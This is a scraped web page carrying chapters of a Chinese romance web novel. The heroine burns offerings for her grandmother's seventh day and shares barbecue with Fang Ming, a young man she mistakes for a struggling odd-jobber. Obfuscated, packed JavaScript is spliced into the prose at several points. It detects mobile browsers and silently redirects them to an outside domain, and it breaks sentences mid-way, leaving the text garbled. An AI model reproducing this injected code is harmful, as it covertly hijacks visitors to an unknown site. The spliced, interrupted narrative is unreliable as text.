l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419250|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 鼓捣了几天,搞出一套视频相册,每个视频里循环播放扫描版老照片,配以怀旧金曲。 照片左侧一律添加竖行红色楷体字,作为背景注解。他把这些视频发到家族群里,郑重地宣布:“以后我们家的照片就都用电子版保存了。” 等到阴历七月十八这天,孟至果然全天没有白事业务,一直待在自己的公寓里。她今天只做两件事:傍晚和方师傅拆家具,夜里去十字路口给姥姥烧头七。 刘校长今晚加班,不会管头七这事了,孟至索性叫老孟也不用过来了。 在等待方师傅上门的时间里,孟至掏出平板,登陆社交平台账号。这个账号从参加工作那年开始运营,专门讲解和推销寿险。 私信列表里积攒了许多未读消息,这些来信多数是咨询保险知识的,并不是为了在她这里买产品。孟至还是逐一热心解答,仿佛在为国民义务科普保险。然后她发了一篇帖子,说自己短期不再做销售。就这样,从前的身份真的告一段落了。 一直忙到下午四点,孟至突然想起来,自己时常去墓园跑业务,却忘了顺便在那边买一刀烧纸回来。 现在她差点空手去烧头七! 没有任何犹豫,孟至翻身从沙发上滚落。她先给方师傅留言,让他今天晚点过来,也可以改日再来。然后她匆匆换上一件干活穿的长款男装T恤,出门去找纸钱去了。 走街串巷,找了一个多钟头,竟然连一家香火店也没有。以往不需要买纸钱时,街边却经常停着面包车,后车厢里摞着一捆一捆的烧纸,颜色苍黄,像泥土一样。 沿途有不少露天烧烤摊,满街白烟飘荡。前几天白昼气温已经降到二十度,这几天重新升温,老家把这种夏季返场安可叫做秋老虎。 太阳西斜,地面吸收了一天的光线,缓缓释放着热量,孟至头脑发昏,恶心气短。 她尽量走在树荫下,不抱希望地拐进一条狭窄野路,往另一片居民区里挺进。不知这类香火店一般叫什么名字,在地图上都搜不出来,孟至边走边四处张望,仿佛大海捞针。 就在孟至认清现实、准备长途跋涉去墓园附近的丧葬一条街时,一块褪色的木牌出现在胡同尽头,上面写着:佛香源。 孟至深一脚浅一脚走到门前,双腿打晃,登了三级台阶。接着她有气无力地推开店门,刚说了一句:“有纸钱吗——” 就两眼一黑,跪倒在地。 一双有力的大手半扶半抱地把她架起来,一个熟悉的声音在她耳边说:“不是约了今天傍晚吗,怎么自己找过来了?” 5. 香火店灵异事件 孟至被扶着坐在塑料凳上,那人在她手里放了一杯水。孟至喝了一口,发现那是冰镇汽水,气泡跃动着跑过口腔。眼前的雪花退下去后,她看到方铭双手撑在桌子上,正低头专注地看着她。 “哎,小方?”孟至十分意外,冲他摆手打招呼,“这么巧啊,你来这儿换锁吗?” 方铭含蓄地勾起嘴角,说:“没,我只是替人看店的。没想到这种香火店,还真有灵异事件呢。” “是吗?”孟至不太关心他替谁看店,她更喜欢灵异事件,“什么灵异事件?你是不是属于体弱的那种人,能看见不干净的东西?”她动不动就去墓园跑,却一次鬼神也没碰上。 他注视着孟至的脸,好像在用目光描摹轮廓。接着他转头看向门口:“刚才有个不明女子,一进来就要纸钱,说完就跪倒了,长头发蒙了一脸。我还以为是哪个鬼魂显灵了,来找人讨账呢。” “我那是中暑了!”孟至气笑了,挑起一侧眉毛,当仁不让地问道,“有我这么好看的鬼吗?” 方铭原本在默默地看她,现在又把目光移开了:“没有。” 孟至笑了一声,又灌了一口汽水。方铭抿起嘴唇,淡淡地说:“逗小孩儿呢?” “有你这么大的小孩吗。对了,你怎么在这里看店?”孟至环顾四周,“今天不用上班吗?”她觉得方师傅自强不息,调休日也要打零工,或许就是因为这个,他才累成了一副忧郁状。 周围三面墙全是货架,摆满了佛香、佛龛和炉鼎之类的物件,品种齐全,色泽靓丽。方铭被这些法宝簇拥在中间,整个人冒着佛光。他随意地靠在椅背上,懒洋洋地说:“哦,开锁的工作本来也是做着玩玩,现在不做了。今天白天来替人看店铺,傍晚去你家里拆柜子。” 孟至哦了一声,没再多问。按照她的猜测,现在实体企业效益不好,方师傅很可能是被公司开除了。 不过她并不当回事,更不会主动戳穿,让人家没有面子。她觉得实在找不到工作的话,还可以去居委求助,居委会帮他联系的。斯基当年初中还没毕业就去了国外,孟至嘲笑她连个初中文凭都没混上。大概是斯基在居委的学历登记没有更新,后来有工作人员给她打电话,诚恳地劝说她,你去学个手艺,小学文凭也可以做的…… 想起这里,孟至打量着方铭,他果然没有穿工装。今天他穿着宽大的白色T恤和灰色短裤,手臂和小腿上肌肉隆起,和那张脸不像是同一个人的。孟至收回目光,对着方铭面前的笔记本电脑一扬下巴:“那你这是在看招聘网站?” 方铭带着高深莫测的微笑说:“这个吗,是在画图呢。” 孟至恭维了一句:“心灵手巧。”只是不知道他是在设计螺丝,还是画简笔画解闷?她站起身来,踱到他背后,突然探头过去,越过他看着屏幕:“画的什么图?” 可惜绘图软件已经被最小化,她只看见暂停播放的动漫。孟至的酒红色长发垂到他的肩头,又被她拨了回去。 有一瞬间,方铭似乎屏住了呼吸。然后他说:“你要看吗?还没画好,总觉得不太满意。” 孟至当然是说:“那不看了,等你画满意了再说。” 方铭指着屏幕说:“要一起看动漫吗?不过是纯日文的,没有字幕。” “你真行啊。”孟至惊叹道,“你会小语种?” “我自学过。” 迎着孟至敬佩的目光,他继续说道:“可惜不小心学成女式语法了,现在只能听,不能开口说。” 孟至共情了:“恩,人家会把你当成变态的。” “你来店里买纸钱吗?”方铭站起身来,从角落里翻出几捆黄纸,“这样的行不行?” 孟至差点忘了头七的仪式,急忙说:“对,就是这种。”她想一次性买够头七到三七的用量,就要了六捆黄纸,再加三麻袋的金元宝。 方铭一边用黑色塑料袋打包,一边低声问道:“是谁的忌日吗?” 孟至扫了付款码,尽量云淡风轻地说:“我姥姥,今天头七,一会儿我去烧纸。” 方铭指了指地上的几个大黑袋子,一脸单纯地说:“不介意的话,可以等到天黑,在我们店里烧完,我们店处在十字路口,提供祭奠服务的。然后我开车送你回去,正好去你家拆柜子。” 孟至懒得自己拎回去,毫不犹豫地说:“就这么干。” 方铭垂下眼睛,嘴角上扬,非常悦耳地恩了一声,开始在电脑上画图。孟至克制住好奇心,没再过去看屏幕。 她起身走到货架前,背着手看那些宝贝。身后传来方铭的解说:“你面前的串珠都是开过光的,有紫檀和沉香的,还有菩提子。” 眼前一堆五花八门的串珠,类似青龙师兄会佩戴的饰品。孟至点了点头,又去看旁边货架。方铭的声音又传了过来:“那些都是旧书,现在都绝版了。” 孟至低头一看,顿时就嚯了一声。只见最上面那本的破烂书皮上写着:《风水先生变苍龙》。这不是姥爷小时候看的书吗? 她怀疑地问:“地摊文学也分绝不绝版啊?”方铭咔咔点击鼠标,假装忙着画图,没有接话。 她故意又往旁边横移一步。果然,方铭的解说如约而至:“那是寿衣,女款的,分为好几种样式,对应不同的情况。比如老太太已经丧偶,寿衣款式是一种,没有丧偶,款式又是另一种……” 想到他可能刚刚失业,孟至建议道:“你的声音很好听,像流水一样叮叮咚咚的,可以去博物馆录那种讲解音。” …… 傍晚七点,天色终于暗了下来。方铭找出一个硕大的铜盆,庄重地放置在十字路口,这不像是本地的习惯。他解释说:“新时代烧纸,应该环保一点,别在街上留灰。” 孟至赞许地点了点头,然后左右张望,确认这附近没有卖货的流动摊位,以免纸钱燃烧产生的浓烟惹人厌恶。 掏出两捆烧纸和一袋金元宝后,两人开始大眼瞪小眼。 孟至问:“你这里有笔和打火机吗?” 方铭回店里翻出一支笔,但没有找到打火机。孟至奋笔疾书,匆匆在一张黄纸上写了姥姥的名字和墓园地址,当地把这张纸叫做“表”。 然后她拿着“表”大步走开,去距离此地最近的一个烧烤摊上借了火,冲回来引燃其他纸钱,一起放进铜盆。铜盆里窜起了火焰。 “没有铁棍,我去找根树枝。”方铭发现没有拨火棍,转身就要去四处寻觅。 “不用不用,拿那个就行。”孟至指着墙角一张不要的破桌子,问隔壁门市里的大姐,“姐姐,这个桌子腿借我一根行不行?”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419251|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 大姐十分热情,走出店来,从铁桌上掰下那根桌子腿,爽快地递给孟至。孟至接过来拨弄着火堆,跟人家连声道谢,方铭也跟着点点头。 在人仰马翻的合作中,局势终于稳定下来。孟至不停地往铜盆里添纸,方铭接过桌子腿,将下层没烧起来的纸翻到上层。 火借风势,风助火威,晚风一吹,那火盆熊熊燃烧,热浪直冲门面。方铭低声说:“我来翻,你念叨念叨吧。” 当地人烧纸时会念叨着一些话,那是对逝去的亲人的呼唤。拨火的人口中念念有词,奶奶取钱来吧,爷爷取钱来吧……于是,燃烧的纸钱就被列祖列宗顺利取走,而飞出去的碎片则被认为是送给孤魂野鬼的零头。 孟至凝视着铜盆里越来越高的火焰,每一片黄纸都在火中翕动。她张口就说:“姥姥取纸来吧。” “……”方铭咳了一声,以掩盖从鼻子里喷出来的笑声。 “姥姥取钱来吧。”孟至改口道,“喜欢什么,在那边买点儿。”其实她很想问问,姥姥到了那边是不是已经见到了她的父母?那她变回了小孩的样子吗? 如果是这样,那父母也见到了父母的父母,岂不是也得变成小孩?或者按照孟至的设想,那边的每个人是有分身的,在父母面前是孩子,在孩子面前是父母。 但是当着小方的面,她不想念叨这么多。不远处,一位大哥坐在塑料凳上,聚精会神地观赏烧纸,看得津津有味。又有一对母女经过火堆,女儿看着火焰,看到痴迷,脚下一个踉跄,撞到母亲身上,引起了她母亲的大骂。 火焰逐渐熄灭了,孟至低声对方铭说:“还都怪喜欢看热闹的。” 方铭低头笑了一下,把烧黑的桌子腿安回到那张破桌子上。铜盆彻底冷却,灰烬覆盖了盆底。孟至原本以为,今晚独自烧纸时她会郁郁寡欢,想不到这场仪式竟在鸡飞狗跳中热闹地结束了。 剩余的几兜财富,就寄存在店里,那是留给二七和三七的。方铭拉下香火店的卷闸门,带着孟至走到车边,率先坐进驾驶位:“走吧,去你家。” 借着灰蒙蒙的路灯,孟至看他开的好像是一辆面包车。虽然这车不像是和女孩约会时开的车,但为了表示尊重,她还是问了一句:“我是坐副驾,还是坐后排?” “副驾。”他一边扣安全带,一边看着方向盘说,“我的副驾不是专属座位。” 孟至坐到他旁边,故意惊讶地问:“不是专属,那你是经常换女伴呀?” “不是的。”他发动汽车,在打火声里软绵绵地说,“我没有过女伴。” 孟至懒洋洋地笑了,心想这小方果然年轻,竟连恋爱都没谈过。她自己也没有谈过男朋友,不过她坚持认为自己是出于新时代女性的风范,独立迷人,以事业为先。只是现在回到老家,不知事业在哪里? 扣好安全带,孟至回头一看,才发现这其实是一辆小型货车,根本没有后排座位。 车子行驶在大街小巷,往孟至的公寓开去,途径无数烧烤摊,一桌一桌的人在白烟中碰杯。一路上孟至若有所思,时不时转头问一句:“你说,我们会不会也是谁的魂呢?比如另一个世界的人的魂?我们赚的工资就是那边烧过来的纸?” “……”方铭嘀咕了一句,“那还要我打工来换纸,太黑心了。” 6. 你很漂亮 孟至席地而坐,背靠墙壁,看着方铭徒手对付那些老家具,看得津津有味。他搬着写字台的台面,左右晃动,向上拔起,台面就和底座的桌斗分离开来。 书柜的拆法大同小异,只是书柜分为三部分,上方是几层书架,中间是伸出来的桌面,下方是带柜门的斗橱,拆开以后分为三块。木柜年代久远,他必须下手格外小心,以免那些木板一碰就自己散架了。 那忙碌的身影令孟至越看越顺眼,她十分和蔼地问:“小方,你今天是替谁看店呀?” 他回头答道:“替我姐。” 孟至也没问是干姐姐还是表姐姐,又笑眯眯地说:“小方,说几句日文听听。” “綺麗だね。” “这是什么意思?”孟至谦虚地问道。方铭却一直不回答,只是埋头干活。于是她说:“其实我也会一点日语。” 他转过头来,用清澈的眼神看着孟至。孟至说:“八嘎。” “……”方铭转移了话题,“今晚怎么只有你自己烧头七,你家里人呢?” 也许是因为刚才方铭陪她烧了纸钱,孟至现在对他有一种说不上来的亲近感。她主动说起刘校长献身工作,老孟沉迷于制作视频相册,所以今晚只有自己烧头七,还说起爷爷奶奶去世的时候,自己还很小,只记得那年的大年三十晚上,一家三口去烧纸祭奠他们。 方铭恩了一声:“冷不冷?” “冷。不过一点火就暖和了,难怪游牧民族都要围着火塘喝茶呢。”孟至盘腿坐着,仿佛自己也是火塘旁边的一员。她向方铭描述那些除夕的画面: 冰天雪地,十字路口,黑夜沉沉,一堆火焰腾起。有些店铺讲究年三十夜里不熄灯,所以马路上并不昏暗。黄纸燃烧后变成满地的黑色碎片,拼成了一朵巨大的黑色牡丹花。那花朵仿佛通体金丝绒质地,花瓣镶着燃烧的橘色金边。可惜当他们离去时,地上会遗留一滩痕迹,与除夕夜的爆竹灰烬混合在一起,不符合今晚方铭提出的新时代环保理念。 方铭开始拆五斗橱。他听孟至不再出声,就回过头来看了她一眼,低声问道:“你很想念他们?” “他们?”孟至反应了一下,才明白他指的是祖辈。她挥了一下手,虚情假意地笑着说:“哪呀,我对爷爷奶奶没什么印象了。姥姥姥爷那边吧,印象比较一般。” 当年孟至的姥姥姥爷互相打架,对刘校长不管不顾。但刘校长对孟至也是一样,她基本没有照料和教育过孟至。在孟至看来,刘校长那暴躁的脾气、深重的戾气、对工作成绩超乎寻常的执念,都是因为没有得到爱;而她反复地控诉往事,纠缠不休,是因为还在渴望爱。她渴望的是过期的爱,永远不可能实现。 “你和姥姥姥爷关系不好吗?”方铭换上一副关怀的神色,但他的眼神出卖了他,看起来他是觉得孟至不喜欢姥姥姥爷,今晚才故意让姥姥来取纸。 孟至诚实地说:“他们和我妈关系不好,但是他们照顾过我。小时候主要是我爸抽空带我,有几年他去外地支援了,我就住在姥姥家。” 见孟至又不说话了,方铭试探着问道:“那你喜欢他们吗?” “说实话,我不知道。”孟至摇着头笑了,“我姥姥姥爷只会在家吵架,一天八小时,跟上班似的。” 家具都拆完了。方铭走到孟至身边,挨着她坐下,轻声问道:“那你不喜欢他们?” 孟至答非所问地说:“后来我回到父母身边了。” 方铭不眨眼地盯着她,孟至开始向他描述当年的画面。在他们休战的间隙里,孟至的姥爷会去买菜做饭,而孟至的姥姥会给她攒手抄报。她从报纸和杂志上剪下来一个一个豆腐块,用一个大夹子夹上。等到下一次见到孟至,老太太就把这一大本交给孟至,留着给她写作文用,可谓是最初的手帐鼻祖。 末了,孟至又告诉方铭,那个大夹子是她姥爷平时夹胡子用的,他不用刮胡刀,就用夹子一根一根往下薅。 方铭低声笑了起来,他的笑声和说话声一样柔和沉静,好像能够催眠一样,孟至听得眼皮都发沉了。她晕晕乎乎地想,家住B612星的小王子长大后,可能就会发出这样的声音。 她打起精神,对他一笑:“你是个很好的听众。” 他垂下眼睛,看着孟至的脸,若无其事地说:“我还是个很好的观众呢。” 孟至笑了一下,没有搭腔。她站起身来,看向一地的木头部件,甩动长胳膊长腿,口中念念有词:“等我一下啊,我热身一下,就和你一起把这些搬下去。” 方铭淡淡地笑着问:“搬得动吗?” 孟至双手抓住桌斗,双膝微蹲,后腰发力,铆足了劲往起一提,竟然提不起来。但她认为这是因为今天刚中过暑,浑身还在发虚,双手才会使不上劲。方铭伸手把她拦到一边,自己一手拎桌斗,一手夹着桌板,几步就走到了门口,回头说:“你帮我开门就行。” 她急忙打开防盗门,又象征性地伸出手来,装作要帮忙托扶的架势,演绎出一系列假动作。方铭往返几趟,把散装老家具搬到门外,再一件一件码进电梯轿厢,一趟就运了下去。 散装家具全部装进后车厢,方铭说了声下次见,就坐进了驾驶舱。孟至绕到车窗边,车窗玻璃降了下来,方铭微微抬起眉毛问:“姐姐,还有什么事吗?” “还没付你运费呢!”孟至晃了一下手机,“今天不耽误你运货了,下次请你吃饭。” “不行的。”方铭一手搭在方向盘上,轻轻摇头,状似苦恼,“我这是蓝牌货车,属于私人的,如果用它有偿营运,可就违规了。拉自己家的东西还是可以的。” 孟至哽住了,这是她先前没有想到的。方铭又说:“你平时不太留意规则啊,姐姐。” “要什么规则。”孟至捞起红色的长发,往肩膀后面一甩,理直气壮地说,“我是做业务的。”此前的职业生涯里,孟至只需冲锋在外,对枝枝蔓蔓的规则毫不在意。在她看来,只要能做成一笔保单就是大获全胜。风控合规部的同事则像拿着竹竿的放马人,在后方追击拦截,以保证业务员始终远离悬崖,按照标准规范流程作业。 “这次算我帮你忙,下次请 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419252|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 我吃饭就行了。”方铭发动汽车,最后看了她一眼,似乎要用眼睛把她吸过去。接着他一脚油门,货车沿着街灯向远方驶去。 那两串街灯就像淡青色的珠子,将道路夹在中间。孟至看着货车消失在街灯的夹道欢送中,仿佛要去天边的夜市。她突然想起小时候学过的诗句:远远的街灯明了,好像闪着无数的明星。 想起方才他说的那句日语,孟至掏出手机,硬是用拼音查出一句高度近似的。她听了几遍,觉得这就是刚才方铭说的话。这句话的中文翻译是:你很漂亮。 孟至淡淡地笑了一下,转身往小区走去。走了几步,又驻足观看东边的月亮。那轮月亮圆中有缺,悬浮在铁塔的尖端之后,被黑色的塔尖贯穿,就像是踮脚站在塔顶、躲在那根铁柱后面。 头七的纸钱烧完了,方铭带着老家具离开了,现在孟至百无聊赖。葬礼结束以后,孟至独自留下来领骨灰,将骨灰放进盒子里。看见灰白的粉末时,她才真正明白人死如灰飞烟灭。死亡带来空洞而悲凉的感觉。 方才烧头七时,她没能来得及悲伤,现在这种悲伤姗姗来迟。她一直看着月亮移出铁塔尖,才重新抬腿。 各式各样的歌舞声远远传来,距离这里两条街的公园里,多个队伍在唱歌跳舞,夜夜上演嘉年华。只有在夏季,夜生活能在东北铺展开来,可惜这里的夏天非常短暂。孟至无法忍受这种寂寞的心情,她变换方向,朝着附近一处烧烤摊走去。 如同万千烧烤店一样,这家烧烤在其他季节只是一家门店,到了夏天就占领门前的人行道,支起凉棚,摆出一排排低矮的小桌和板凳,变成夏夜露天烧烤。这种凉棚边缘通常会有一座烤架,长方形槽子里装满了烧红的碳。 孟至挑了一处上风口的位置,坐在矮凳上,仰望着过路的车辆和行人。凉棚的那一端果然有座烤架,一双手不停地翻动着炭火上的肉串。 一个高胖大哥坐在孟至斜对面,挡住了她的视线,让她无法看见烤串老板的脸和身体。喊了两声老板,那边的人纹丝未动。 见老板在忙着,孟至也就不急着点菜。她先跟邻桌的人聊了两句:“最近忙啥呢?”不知道的人,还以为他们彼此认识。 邻桌那人一拍身下的轮椅,大声说:“最近把腿摔了!这不,坐轮椅来撸串了吗!” 等到烤架上的那双手捞起一沓肉串,孟至知道这代表着一批烤物制作完毕。趁此空档,她起身走向烤串老板,同时大声报数:“哥,给我来十串牛肉,十串羊肉,十串蘑菇——” 看到烤串老板的脸时,孟至整个人都惊呆了。在墓园做法事时,她始终没有遇到灵异事件,但现在她觉得自己见了鬼了。 站在烤炉前面卖力工作的,竟然是白T恤灰短裤的方师傅。 孟至瞪着完全睁开的猫眼,和他面面相觑。这个人白天去香火店兼职,傍晚替人拆家具,夜里又来烤串? 在他无辜的目光里,孟至直勾勾地盯着他手中的烤串,缓缓发问:“你……到底打了几份工?” 他却好奇地问:“你刚才叫我什么?” 7. 烧烤小弟 炭火上冒出的白烟包围了孟至。她往远处移开几步,背靠在烧烤店的外墙上。长款T恤遮到大腿,刚好露出短裤的一个边,两条结实的长腿和墙面形成夹角。她对方铭说:“小方老板,给我来十串牛肉,十串……” “我记着呢,”方铭把烤好的肉串放进铁盘中,嘴角带着若有若无的笑意,“姐姐,你一人吃三十串啊?” “我白天没怎么好好吃饭,就指着这一顿呢。”孟至一脸舍我其谁的表情,“你呢,今天吃了几顿?”她怀疑小方忙着打工,根本没有吃东西。 小方尚未回答,一位花臂大哥急急忙忙地从店里走出来,扎着两手,前后摆臂,一路小跑到烤架前,客气地说:“费心了,兄弟,你坐着去吧。”看来是上下级关系处得非常好,竟像亲兄热弟一般。 方铭走向上风口,走了几步,回头对孟至抿嘴一笑:“还不来吗?” 孟至大步穿过烟雾,跟着他来到桌边。想不到他带头落座,气定神闲,还对紧随而来的花臂大哥报了菜名,除了孟至点的三十串之外又加了若干。 大哥转身离去之前,方铭特意叮嘱:“麻烦别放太重的调料,我喜欢清淡一点的。”他竟对顶头上司摆出了消费者的态度,好像忘记了自己的身份。孟至在一边看着,差点问他,喜欢清淡还来吃烧烤? 等到花臂大哥走出视野,孟至挪着板凳,凑到他胳膊旁边,压低声音问道:“工作时间吃东西,能行吗?” “没事的,”方铭微微低头,睫毛轻颤,“我今天也没有怎么吃东西,好饿啊。” 孟至心里涌现出一种强烈的同情和怜惜,她突然觉得小方可能是为了节约开支,才一天只吃一顿饭。 她压低嗓音,匪气十足地说:“管他呢!你吃吧。老板要是说你的话,我帮你顶着。”她担心小方知道这顿是她请以后,就不好意思多加菜了,所以她先没说这顿算她的。 不多时,老板端着属于他们的铁盘出现了,铁盘里码得像一座山,都上尖了。 方铭启开汽水瓶,放到孟至面前,替她插好吸管。接着又垫着纸巾拈起牛肉串,连同缠在竹签上的纸巾一起,交到孟至手里:“小心油。” 孟至接到手中,二话不说,把红色的长发甩到脑后,沉浸地品尝着滋滋冒油的肉块。 等她吃完一串,又喝了半瓶汽水,才发现方铭面前已经堆了一把竹签。这小子不声不响地席卷了铁盘里的半座山,看来是真饿了。 见孟至吃完了一串,方铭又换了一块新的纸巾,拈起下一串递给她。孟至一手接过来,另一手拿起一串,反送到他的手中。两人吃出了一种推杯换盏的感觉。 很快,桌上堆起了用过的纸巾。方铭从邻桌拿来一张宣传单,歪着头问孟至:“你会折纸盒吗?我自己在家的时候,经常折个纸盒来装垃圾。” 孟至故意说:“不会哎。” 他把纸举到孟至眼前,一下一下翻折着,一只敞口的盒子诞生于他的手掌中。孟至却说:“没看懂哎。” 方铭笑了,轻轻拆开纸盒,重新慢速折了一遍。 孟至说:“其实我在逗你,我会折。” 他把桌上的废纸捡到纸盒里,低声说:“又逗我。” 夏末秋初的晚风吹来,凉得像水一样。天空彻底暗了下来,穹顶变成了深蓝色,街道上的人就像走在水族馆的拱形水箱下。方铭安静地注视着孟至,她那张偏窄长的鹅蛋脸上带着明亮的微笑,苍白的脸颊因为撸串而泛起血色。周围的喧嚣声浪仿佛离他们越来越远。 孟至知道方铭在看着自己,她又喝了几口汽水,对他一扬下巴:“小方,以后我罩着你吧!” “怎么罩?”方铭换上一副好奇的神情,微微偏着头,眉眼之间流露出俊秀的笑意。 “你看啊,我在老家其实没什么朋友了,都不知道这些年新修了什么地方,也不知道该去哪玩。”孟至举着肉串,用托付重任的眼神看向小方,“以后我听说哪有好吃的、好玩的,我就带上你。你要是知道哪里好玩,也带上我。” “那就这么定了。”方铭顺从地说。 孟至想起今晚的家具,关心地问道:“那些旧家具都运到回收站了吧?顺利吗?” “顺利的,其实是运到我……我们的一个工作室。”方铭低头一笑。她以为这是垃圾回收工作室的意思,而他或许还是垃圾站主理人,是他众多零工身份中的一个。 于是她没有多问,只是又递给他几根肉串:“你也不要太累了。我看今晚这个烤串老板就挺好的,你中途坐下吃饭,他也没催你干活。”她怀疑他也是花臂大哥的小舅子。 方铭说:“他不会催我的。”顿了顿,他又说:“我来的时候就坐在炉子旁边那桌,有两串好像要糊了,我就过去给翻了个面。” “啊?”孟至茫然地问,“你到底是顾客还是店员?” 他看起来比孟至更加茫然:“不知道怎么回事啊,旁边人都在催我上菜,我就接着烤起来了……” 孟至眉毛跳动,笑容中逐渐腾起了杀意,她终于意识到自己被骗取了泛滥的同情心。而披着羊皮的小方,始终愉快地微笑着,仿佛一位坐在樱花树下拍写真的漫撕男,与白烟笼罩的烧烤摊分处两个图层。 夜色转为蓝黑时,两人面前的铁盘终于空了。方铭习惯性地用纸巾来回擦拭着桌面,在孟至看来完全是风流倜傥中流露着成熟而居家的气息。她笑嘻嘻地说:“你很爱干净啊,小方。“ 小方羞涩一笑,起身喊花臂大哥结账。 孟至立刻合身扑上去,像战士一样奋不顾身:“我来我来,说好了我请的。”她用一只手挡开扫码器,另一只手往外拽他的手机,整个人差点挂在他身上。 方铭一手抓住她的两只手,缓缓按下,同时用另一只手付款。和夜风相比,他的手掌格外温热。 他垂眼看着扫码器,冰凉地问:“为什么要让你请?”付款成功,他慢慢松开孟至的手。 孟至平时不喜欢欠人情,这下却连续欠了两次,她既没有支付家具清运费用,又让打零工的人请自己吃饭。她觉得自己像一个欺压小孩的街霸,于是说:“你什么时候有空,我请你吃饭,正好你带我逛逛。 “好的,我会找你的。”方铭举起手机,“你的真名叫什么,可以告诉我吗?我想备注一下。” “可以啊,我给你打出来。”孟至伸头去看他的屏幕,“我现在叫什么?我都忘了。” 孟至的微信名片显示,她此前一直叫:A吉赛尔1303696××××AYA寿险。 她伸出一根手指,一指禅点来点去,直接在他的手机屏幕上打名字。 方铭低头看着,冷不丁问道:“这个吉赛尔,是你另一个名字吗?可以叫吗?” 孟至警告他:“别叫。”然后挥手转身,走向自己的公寓。 东方的月亮越升越高,之前那种惆怅落寞的心情已经荡然无存。大风迎面吹来,孟至微微张开双臂,就像穿行在江浪里,又觉得自己在和一阵风拥抱。 但很快,文艺电影般的桥段戛然而止,孟至突然驻足不前。 一只巨型恶犬站在道路中央,呲牙咧嘴地向四周扫视,仿佛在用眼睛发射子弹。它的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16419253|184753||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼神十分邪恶,似乎已经饿到走投无路,将要不择手段。那不像是狗的眼神,而像是一个恶毒的人的眼神封印在狗脸上。 这时已经是深夜,这段街道几乎没有行人。孟至张着手站在原地,和狗紧张对视,两腿还维持着一前一后迈步的姿势,看起来非常搞笑。 但她不敢轻举妄动,她担心这只狂犬像森林里的黑熊一样,一旦看到她转身逃窜,就会冲上来撕咬她。她的后背都出了一层冷汗,被风一吹,浑身直打哆嗦。 在这紧张刺激的时刻,她听见身后响起轻微的脚步声。转头一看,一个和她年龄相仿的女孩走到她身边,轻声说:“野狗,可能是被人遗弃的,饿得发疯了。” 孟至急忙往她身边靠了靠,她也往孟至身边靠拢过来,两人都胆战心惊。孟至觉得这样会显得自己不够勇敢,就壮着胆子说:“没事,咱们绕过去。”她绕到那个女孩的另一侧,企图用自己掩护着她。 那个女孩却拉住孟至的手臂,把她带到自己身后。孟至不想躲在人家后面,于是两人手拉着手,像螃蟹一样横着走,始终正面朝向狂犬。 走到近前,两人拼命贴着人行道边缘的铁栏杆,都想离狗越远越好。她们有一种心照不宣的默契,从一个对视里读懂了对方的意思,准备随时翻过栏杆去逃活命。 然而那只狗恶毒地注视着她们,忽然一扭身就跑了。狗身几个高低纵跃,跨过灌木丛和栅栏,消失在夜幕和树林中。 等到再也听不见狗蹄声,孟至长吁一口气,差点坐到铁栏杆上。那个女孩打了个摆子,拉着她说:“快走吧!到前面那条街,人就多了。” 两人已经出了一手的汗,但谁也没松开手。她们互相拽着,拔足狂奔,深一脚浅一脚地跑到下一个街区,直到看见一家挨一家的店铺,才放慢脚步。 孟至转头看着她,发现她长着桃心形状的脸,大眼薄唇,下巴尖尖。孟至感到心旷神怡,露出了迷幻的笑容,在心里叫她水冰月。 水冰月也对孟至露出劫后余生的笑容,让人想起童年看过的少女漫。两人抬起拉在一起的手,乱晃几下,象征着握手。 水冰月指着路边说:“我想吃点东西压压惊。”说完,她双腿打晃,迈步走进小卖店,拿了一根雪糕,一口气吃完。而后双手撑着冰柜,数次深呼吸,又选了一根,还是一口气吃完。 整个过程,水冰月一言不发,脸色凝重。 孟至感慨地说:“看来你是真紧张了。” 水冰月指着孟至手里的汽水说:“你也挺猛呀。”孟至一只手拎着一个空瓶,正在仰头灌第二瓶,瓶子里的汽水都出漩涡了。 等到两人不再筛糠般地发抖后,孟至问:“你是在这附近的大学念书呀?” 她却说:“哪呀,我都工作十几年了。” “噢,我还以为你是学生。”孟至咬着新买的烤肠说,“我在南方工作过三年,最近回老家了。” 水冰月说:“那我比你大了快十岁。”她似乎担心孟至会为年龄差而吃惊,但孟至在回味烤肠的淀粉味,看起来就像在睁着眼睛睡觉。无论别人和孟至说多么惊人的事情,她的反应都十分平静。 头七这天的末尾,孟至的运气逐渐好转,仿佛接到纸钱的姥姥在保佑着她。她终于在老家有了朋友,他们一个是归她罩着的小方,另一个是活人版水冰月,真名叫做舒克和贝塔的舒贝。 